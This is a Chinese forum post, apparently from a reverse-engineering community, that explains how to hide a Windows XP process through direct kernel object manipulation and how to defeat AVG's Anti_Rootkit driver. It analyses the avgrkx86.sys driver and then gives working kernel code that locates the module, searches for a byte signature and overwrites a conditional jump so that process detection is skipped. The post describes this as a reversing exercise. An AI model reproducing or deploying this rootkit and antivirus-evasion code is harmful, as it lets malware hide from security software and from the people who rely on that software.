-
-
Patch过AVG杀软Anti_Rootkit检测
-
发表于:
2012-10-26 00:14
9148
-
Patch过AVG杀软Anti_Rootkit检测
以前自己写的一篇笔记
最近在学校有目的在做些东东,有些东西很老了但还是在看,老的东西都是基础嘛!虽然大家都在说冰刃早就过了,我在网上找了很久没找到具体的代码和文章,但看了些前辈们逆的IDB,下来自己动手实现了下进程隐藏
测试通过只需五段代码:
1、修改进程Pid:*((ULONG*)(m_eproc+PIDOFFSET)) = 0x11111;
2、修改进程对象类型:*(PULONG)((ULONG)m_eproc - HEADEROFFSET +TYPEOFFSET)=TypeP;
3、修改进程的线程链:*(ULONG *)((ULONG)eproc + 0x50) = ((ULONG)eproc + 0x50);
4、断Eprocess链 5、断VM结构里的链
当时虚拟机正在做病毒测试,AVG本身有一个Anti_rootkit组件用它毫无疑问能检测出啦,毕竟上面的只是针对冰刃的。于是作为逆向练习就将它的avgrkx86.sys拿来用IDA F5了一下:
[缺图]
驱动不大用了两个晚上逆出来了
AVG Anti_Rootkit驱动分析
一、DriverEntry驱动入口:
1、先判断是否是安全模式
2、GetMySysAddress->遍历系统模块,如果自身的分发函数地址在这个模块,就说明是本驱动模块,获取加载地址,Pe格式解析,对检测没实际意义
3、GetCpuInfo->获取Cpu的信息,为后面多核处理做准备
4、设置分发函数有意义的只有ControlDispath,其他简单返回,初始化一些事件对象实现同步,初始化一些链表
5、创建进程创建回调NotifyRoutine,创建驱动加载回调MyLoadroutine,创建设备与符号链接
二、NotifyRoutine与MyLoadroutine
1、进程创建回调中NotifyRoutine先PidInListOrNot->判断Pid是否在Proc_List_CallBack链表中,不在就加入
2、MyLoadroutine中将加载模块信息加入Load_Mod_list链表中,并调用GetLoadModInfo函数获取驱动加载回调加载该模块的进程信息,存入链表Proc_List_CallBack
3、EumLoadModCallBackList里完成根据Ring3传下的命令对Proc_List_CallBack与Load_Mod_list两个链表的遍历获取数据返回Ring3
三、内核进程检测
1、GetEprocesAndIntoEproList中用四种方法获取Eprocess填充List,再遍历List中的Eprocess获取进程信息填入全局Epro_List
2、GetEProcessFromThread中获取各CPU上的线程对象存入ThreadListPool链表,然后遍历链表获取进程信息存入Epro_List
3、最终在EumLoadModCallBackList中返回给Ring3
四、内核驱动检测
1、GetAllModInfoBySysInformation中用ZwQuerySystemInformation遍历系统模块获取数据返回Ring3
2、EumAllDriverByTowWay中遍历对象目录树获取驱动对象RtlInsertElementGenericTable全局Table中,EumDriverListGetInfo则取出Table处理后GetAllDriverInfoToList存入全局DriverList_Head链表
3、。。。。还有两个地方没去分析
4、最终在EumLoadModCallBackList中返回给Ring3
其他:所有驱动注册回调函数检测、Cpu多核锁处理、文件处理、进程令牌处理等。。。
现在开始如何Patch过他的进程检测,其他检测原理一样:
方法很简单也没什么复杂的:修改avgrkx86.sys在内存中的机器码,当它运行进程检测时就跳过不执行这个过程,这样就检测不出隐藏的进程了。
在avgrkx86.sys:下面是它的一处进程检测函数,其中会在IntoEproList中汇总所有的进程
而我们要做的就是Patch掉IntoEproList不让进程汇总,这样返回给Ring3层时就是无隐藏进程啦!下面是我对这个函数的分析:
1、从纵多检测方法填充的链表中遍历Eprocess,获取Pid
2、通过Eprocess获取File对象
3、通过FileObject获取进程全路径
4、将这些信息存入Buffer(汇总)
5、结束。
其实过AVG进程检测只需在内存中将0F 84 38 01 00 00修改成E9 39 01 00 00 90,需注意的是jz(0F 84)改成Jmp(E9)少一字节所以38应改成39而少那一字节用Nop(90)填充(这其中有一个公式:地址+内容+5=跳转地址)。
现在知道原理了那如何在内存中定位然后修改,须知道几个数据:
1、avgrkx86.sys模块在内存中的基地址 2、定位特征码 具体看下面的代码:
获取模块基地址方法很多:网上的代码用ZwQuerySystemInformation
PRTL_PROCESS_MODULES GetSystemModules()
{
PRTL_PROCESS_MODULES pSysMods = NULL;
ULONG ulSize = 512;
NTSTATUS status;
while ( TRUE )
{
pSysMods = (PRTL_PROCESS_MODULES)ExAllocatePool(PagedPool, ulSize);
if ( !pSysMods )
return NULL;
status = ZwQuerySystemInformation(SystemModuleInformation, pSysMods, ulSize, &ulSize);
if ( status != STATUS_INFO_LENGTH_MISMATCH )
break;
ExFreePool(pSysMods);
}
if ( !NT_SUCCESS(status) )
{
ExFreePool(pSysMods);
pSysMods = NULL;
}
return pSysMods;
}
BOOLEAN GetSysModInfoByName(IN char * strModName, OUT PRTL_PROCESS_MODULE_INFORMATION pSysModInfo)
{
PRTL_PROCESS_MODULES pSysMods;
PRTL_PROCESS_MODULE_INFORMATION pModInfo;
ULONG i, ulModNum;
BOOLEAN bRet = FALSE;
pSysMods = GetSystemModules();
if (!pSysMods)
return FALSE;
ulModNum = pSysMods->NumberOfModules;
pModInfo = pSysMods->Modules;
for (i = 0; i < ulModNum; ++i) {
if (pModInfo->FullPathName) {
char * strFileName = strrchr(pModInfo->FullPathName, '\\');
if (strFileName)
strFileName++;
else
strFileName = pModInfo->FullPathName;
if (!_stricmp(strModName, strFileName))
{
RtlCopyMemory(pSysModInfo, pModInfo, sizeof(RTL_PROCESS_MODULE_INFORMATION));
bRet = TRUE;
break;
}
}
pModInfo += 1;
}
ExFreePool(pSysMods);
return bRet;
}
也可以直接遍历DriverSection:
PMODULE_ENTRY FindDriverModuleEntry(PDRIVER_OBJECT pMyDriver,PUNICODE_STRING name)
{
PMODULE_ENTRY pCurrentModule,pTempModuleAlloc;
pCurrentModule = (PMODULE_ENTRY)pMyDriver->DriverSection;
pTempModuleAlloc = pCurrentModule;
while((PMODULE_ENTRY)pTempModuleAlloc->le_mod.Flink!=pCurrentModule)
{
if (pTempModuleAlloc->driver_start!=0x0)
{
if (0==RtlCompareUnicodeString(&pTempModuleAlloc->driver_Name,name,FALSE))
{
return pTempModuleAlloc;
}
}
pTempModuleAlloc = (PMODULE_ENTRY)pTempModuleAlloc->le_mod.Flink;
}
return 0;
}
而Patch过程只需下面这段代码:
void PatchTheIntoEprolistShit(PDRIVER_OBJECT pDriver)
{
char *p,*p1;
char cc[] = {0xe9,0x39,0x01,0,0,0x90}; //修改后的数据
char feature_code[6]={0x3b,0xd8,0x0f,0x84,0x38,0x01};//特征码(应该会很熟悉在上面的图片中能找到)
UNICODE_STRING DriverName;
PMODULE_ENTRY pModule_Entry;
RtlInitUnicodeString(&DriverName,L"avgrkx86.sys");
pModule_Entry = FindDriverModuleEntry(pDriver,&DriverName);
p = (char*)(pModule_Entry->base + 0x202c);
p1 = p + 0x1320;
while (p<p1) //特征码匹配收索
{
if (memcmp((void*)p,feature_code,6)==0) //向上匹配找到Patch地址
{
p=p+2; //如找到就将Hook地址的后面地2字节
break;
}
p++;
}
DbgPrint("patch : %x",(ULONG)p);
WPOFF();
RtlCopyMemory(p,cc,sizeof(cc)); //一句话Patch
WPON();
}
运行了Patch驱动后可以用Windbg对avgrkx86.sys内一地址下断点然后运行AVG Anti_Rootkit检测断下来,步步调试跟踪至Patch点看是否成功:
这只是一个Patch的思路而已,兼容性不会很好本人安装的最新版AVG在XP Sp3上测试通过。
上传一个F5的IDB:
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)